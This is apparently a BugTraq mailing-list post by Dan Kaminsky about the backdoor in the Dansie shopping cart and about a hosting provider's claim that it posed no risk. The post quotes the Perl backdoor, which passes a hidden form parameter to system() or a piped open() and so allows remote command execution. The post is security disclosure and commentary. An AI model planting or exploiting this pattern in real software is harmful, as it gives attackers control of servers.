Re: Back Door in Commercial Shopping Cart [Stormer Hosting]

[dankamin () CISCO COM (Dan Kaminsky)]

This is reasonably important--James Hart just about got himself in a whole
mess of trouble, and it mainly stemmed from the fact that his email was to a
customer, not to the BugTraq audience.

James Hart runs Stormer Hosting, an ISP that *HOSTS* Mr. Dansie's code but
doesn't appear to have much to do with the actual design of it.  He's just
an OEM, essentially.

I just got off the phone with him, and things are much clearer now.

Here's what he was quoted as saying to one of his customers:

"The software has a copyright protection feature that poses no security risk
to your website or your web server. It's designed to prevent software piracy
and prevent pirates from running unlicensed copies...There is "no" processes
Craig can run on the server as this email suggest.  Yes, he can wipe the
vars.dat to protect his copyright and prevent the cart from working, but the
only people that need to worry are "theifs" anyway. The cart "cannot"
retrieve cc information or any other information that could cause a security
risk.  I personally talked with Brian McWilliams at www.internetnews.com on
the phone this morning.  He did not mention a single thing I said regarding
the cart.  He is out for a "story"."

Here's the code that has everyone in an uproar(the script is also sending
periodic emails to its author, but that's nothing compared to this):

########
if ( ( ( $FORM{'?????????'}) && ($ENV{'HTTP_HOST'} !~ /($d)/) ) ||
($FORM{'?????????'} ) && (!$d) ) )
{
    if ( $ENV{'OS'} )
        {
            system("$FORM{'?????????'}");
        }
else
        {
            open(ELIF,"|$FORM{'?????????'}");
        }
exit;
######

On its face, it looked very strongly like James was being extremely
dishonest.  It took some time talking to him, but I finally figured out what
he was talking about:

James essentially refuses to trust the server that his customers use to
serve the shopping cart to also server the SSL Credit Card acceptance.  So,
whenever a customer requests a secure credit card transaction, they're
(insecurely) linked to a SSL acceptance script on a completely different,
heavily locked down secure server.  Good protections on that server--PGP
encrypted archives, Secure POP, etc.  He's made some effort on locking that
down, and thus he basically split his hosting operation between "stuff that
can die tommorow and we'll still be able to back it up" and "stuff that'll
kill my business".

Taken in this context, it makes pretty good sense for James to claim what he
did.  There *are* no processes that the CGI script can run on the server
that contains the credit card addresses.  Remote execution even on the
untrusted shopping cart is a hugely serious problem, and to be honest James
didn't fully understand the impact of that(he kept on referring to
"attackers needing telnet or FTP access", not realizing that the backdoor
essentially equates to that very same degree of access).  But he wasn't
being dishonest or completely clueless when he made his claims; even with
root access on the insecure server, in *his* deployment of the Dansie
shopping cart, the most valuable data was kept safe...with the exception of
the vars.dat, which appeared to contain the key for allowing the server to
run.

I will leave the vitriol / security analysis of Dansie's cart to others;
certainly this is an interesting form of copy protection on Dansie's part.
But James wasn't being particularly dishonest; to be honest he didn't sound
like he fully understood the scope of the backdoor; he just didn't engineer
enough trust in his network to really need to.  He did make some unfortunate
accusations("Only thieves should be worried about this backdoor" ranks
pretty high; I'm sure quite a few thieves were interested to hear about this
attack), but what he said was arguably accurate for his specific site.

There was an interesting lesson in all of this--whenever you send an email
stating that you're not vulnerable to a security hole, make sure you
emphasize why *you particularly* are not vulnerable and not that the hole
doesn't exist.  That may mean saying "We patched it" or "We run a newer
version of Redhat" or whatever, but don't ever appear like you're denying
the existence of the bug itself, unless you can do so with the same
technical rigor that the bug was announced with in the first place.

Also don't ever, *ever* assume email to a customer will remain private.
Never trust the client ;-)

I speak for myself.

Yours Truly,

   Dan Kaminsky